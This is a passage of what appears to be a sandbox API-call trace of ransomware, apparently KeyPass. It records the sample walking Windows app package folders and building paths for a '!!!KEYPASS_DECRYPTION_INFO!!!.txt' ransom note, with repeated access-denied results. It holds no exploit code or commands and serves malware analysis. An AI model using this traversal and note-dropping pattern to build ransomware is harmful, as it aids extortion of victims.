Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\styles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\styles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.912] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\styles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.918] GetLastError () returned 0x5 [0289.918] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.918] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.919] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.919] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.980] GetLastError () returned 0x5 [0289.981] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.981] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.981] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.981] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.981] GetLastError () returned 0x5 [0289.981] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.981] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.982] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.982] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2015.4218.23751.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.982] GetLastError () returned 0x5 [0289.982] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.983] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.983] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.983] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.987] GetLastError () returned 0x5 [0289.987] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.987] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.988] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.988] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.988] GetLastError () returned 0x5 [0289.988] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.988] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.988] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.988] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.992] GetLastError () returned 0x5 [0289.992] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.993] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.993] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.993] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.993] GetLastError () returned 0x5 [0289.993] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.993] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.993] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.993] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.994] GetLastError () returned 0x5 [0289.994] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.994] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.994] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.994] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.994] GetLastError () returned 0x5 [0289.995] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.995] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.995] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.995] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.005] GetLastError () returned 0x5 [0290.006] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.006] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.006] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Animation\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Animation\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.006] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Animation\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.010] GetLastError () returned 0x5 [0290.011] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.011] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.011] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Audio\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Audio\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.011] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Audio\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.017] GetLastError () returned 0x5 [0290.017] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.017] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.017] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Calendar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Calendar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.017] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Calendar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.018] GetLastError () returned 0x5 [0290.018] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.018] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.018] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Perfect\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Perfect\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.018] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Perfect\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.018] GetLastError () returned 0x5 [0290.018] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.018] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.019] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\PrizeHistory\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\PrizeHistory\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.019] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\PrizeHistory\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.024] GetLastError () returned 0x5 [0290.024] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.024] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.024] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\ProgressBar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\ProgressBar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.024] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\ProgressBar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.025] GetLastError () returned 0x5 [0290.025] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.025] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.025] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Tab\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Tab\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.025] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.DailyChallenges\\Assets\\Tab\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.025] GetLastError () returned 0x5 [0290.025] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.026] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.026] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.News\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.026] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.026] GetLastError () returned 0x5 [0290.026] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.026] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.026] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.News\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.News\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.026] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.News\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.031] GetLastError () returned 0x5 [0290.031] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.031] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.031] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.031] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.032] GetLastError () returned 0x5 [0290.032] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.032] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.032] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.032] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.037] GetLastError () returned 0x5 [0290.037] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.037] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.037] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Animation\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Animation\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.037] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Animation\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.042] GetLastError () returned 0x5 [0290.043] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.043] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.043] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Badges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Badges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.043] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Badges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.044] GetLastError () returned 0x5 [0290.044] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.044] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.044] PathAppendW (in: pszPath="C:\\Program 